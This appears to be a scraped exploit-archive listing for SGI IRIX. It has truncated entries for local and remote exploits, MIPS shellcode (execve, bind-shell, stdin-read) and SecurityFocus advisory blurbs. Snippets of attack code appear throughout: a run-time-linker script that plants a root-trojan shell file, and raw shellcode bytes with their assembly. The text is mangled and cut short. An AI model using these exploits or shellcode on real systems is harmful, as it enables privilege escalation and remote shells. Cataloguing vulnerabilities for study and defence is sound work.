SGI IRIX <= 6.5.5 syssgi() Onyx kernel memory disclosure Exploit

Exploit for irix platform in category local exploits / SGI IRIX include include include include include define bufsize 4294967295 int mainint argc,char argv int fd; ssizet out; char outputbuffer; ifargc \n"; exit1; printf" IRIX 6.5.5 syssgi Onyx IP19/IP21/IP25 kernel memory information leak\n";...

SGI IRIX <= 6.4.x Run-Time Linker Arbitrary File Creation Exploit

SGI IRIX versions 6.4.x and below run-time linker rld arbitrary file creation exploit. !/bin/sh SGI IRIX /etc/passwd" /tmp/.x.sh chmod 755 /tmp/.x.sh RLDARGS="-log /.cshrc |/tmp/.x.sh" /sbin/su last -3 root echo " waiting 5mins for root to login..." sleep 300 su - w00t 0day.today 2019-04-30...

SGI IRIX 6.4.x Run-Time Linker Arbitrary File Creation

!/bin/sh SGI IRIX /etc/passwd" /tmp/.x.sh chmod 755 /tmp/.x.sh RLDARGS="-log /.cshrc |/tmp/.x.sh" /sbin/su last -3 root echo " waiting 5mins for root to login..." sleep 300 su - w00t...

IRIX - execve (/bin/sh -c) Shellcode (72 bytes)

char cmdshellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x08\xf4" / addi $ra,$ra,2292 / "\x23\xe4\xf7\x40" / addi $a0,$ra,-2240 / "\x23\xe5\xfb\x24" / addi $a1,$ra,-1244 / "\xaf\xe4\xfb\x24" / sw $a0,-1244$ra / "\x23\xe6\xf7\x48" / addi $a2,$ra,-2232 /...

IRIX - execve (/bin/sh) Shellcode (68 bytes)

/ 68 byte MIPS/Irix PIC execve shellcode. -scut/teso / unsigned long int shellcode = 0xafa0fffc, / sw $zero, -4$sp / 0x24067350, / li $a2, 0x7350 / / dpatch: / 0x04d0ffff, / bltzal $a2, dpatch / 0x8fa6fffc, / lw $a2, -4$sp / / a2 = char envp = NULL / 0x240fffcb, / li $t7, -53 / 0x01e07827, / nor...

IRIX - Bind TCP /bin/sh Shell Shellcode (364 bytes)

/ 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso / unsigned long int shellcode = 0x2416fffd, / li $s6, -3 / 0x02c07027, / nor $t6, $s6, $zero / 0x01ce2025, / or $a0, $t6, $t6 / 0x01ce2825, / or $a1, $t6, $t6 / 0x240efff9, / li $t6, -7 / 0x01c03027, / nor $a2, $t6, $zero /...

IRIX - stdin-read Shellcode (40 bytes)

/ 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso / unsigned long int shellcode = 0x24048cb0, / li $a0, -0x7350 / / dpatch: / 0x0490ffff, / bltzal $a0, dpatch / 0x2804ffff, / slti $a0, $zero, -1 / 0x240fffe3, / li $t7, -29 / 0x01e07827, / nor $t7, $t7, $zero / 0x03ef2821, / addu $a1, $ra,...

SGI-IRIX-6.2-midikeys

SGI's Irix operating system ships with an X11 application called 'soundplayer' which is used to play .WAV files. It is not setuid root by itself, but can inherit root priviliges if called by midikeys which is setuid on some old IRIX systems. Soundplayer is vulnerable to an input validation proble...

Webfwlog 1.01 - Web-Based Firewall Log Analysis and Reporting

Webfwlog is a flexible web-based firewall log analyzer and reporting tool. It supports standard system logs for linux, FreeBSD, OpenBSD, NetBSD, Solaris, Irix, OS X, etc. as well as Windows XP®. Supported log file formats are netfilter, ipfilter, ipfw, ipchains and Windows XP®. Webfwlog also...

Irix LPD tagprinter Command Execution

No description provided by source. $Id: tagprinterexec.rb 10561 2010-10-06 00:53:45Z hdm $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of us...

SGI IRIX <= 6.4 login Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/392/info A buffer overflow exists in the /bin/login program supplied by Silicon Graphics, as part of their Irix operating system. By supplying a carefullly crafted, log buffer to the -h option of login, a local user can...

SGI IRIX 5.1/5.2 sgihelp Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/468/info The sgihelp program, from SGI and included with IRIX 5.1 and 5.2, contains a vulnerability. sgihelp contains an option that allows a user to print to a command. Certain SGI utilities, including PrintStatus,...

SGI IRIX <= 6.4 rmail Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/460/info A vulnerability exists in the rmail utility, included by SGI with it's Irix operating system. By failing to sanity check the contents of an environment variable, arbitrary commands may be executed with gid mail...

SGI IRIX <= 6.3 cgi-bin webdist.cgi Vulnerabilty

No description provided by source. source: http://www.securityfocus.com/bid/374/info A vulnerability exists in the webdist.cgi program, as shipped by Silicon Grpahics Inc with the Irix operating system. This vulnerability will allow any remote user to execute arbitrary commands on an affected...

SGI IRIX <= 6.4 permissions Buffer overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/417/info A buffer overrun exists in the permissions program, as shipped by Silicon Graphics with the 5.x and 6.x Irix operating system. By supplying a long, well crafted buffer as the 4th argument to the program, arbitrar...

SGI IRIX <= 6.4 cgi-bin handler Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/380/info A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the...

SGI IRIX 6.5.22 GR_OSView Local Arbitrary File Overwrite Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/13058/info A local file overwrite vulnerability affects SGI IRIX. This issue is due to a failure of the affected utility to drop privileges prior to carrying out critical functionality. An attacker may leverage this issue...

SGI IRIX <= 6.3 -xrm Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/334/info A vulnerability exists in the X libraries as supplied with Silicon Graphics IRIX operating system. By placing a carefully constructed buffer as the argument to the -xrm option, an attacker can execute arbitrary...

SGI IRIX 6.x rpc.xfsmd Remote Command Execution Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/5075/info Throghout the implementation of the supported remote procedure calls, the server uses the popen libc function. When popen is used, arguments passed to the RPC are included in the command string. These arguments...

freebsd 4.2-stable ftpd glob() Buffer Overflow Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/2548/info The BSD ftp daemon and derivatives such as IRIX ftpd or the ftp daemon shipped with Kerberos 5 contain a number of buffer overflows that may lead to a compromise of root access to malicious users. During parsing...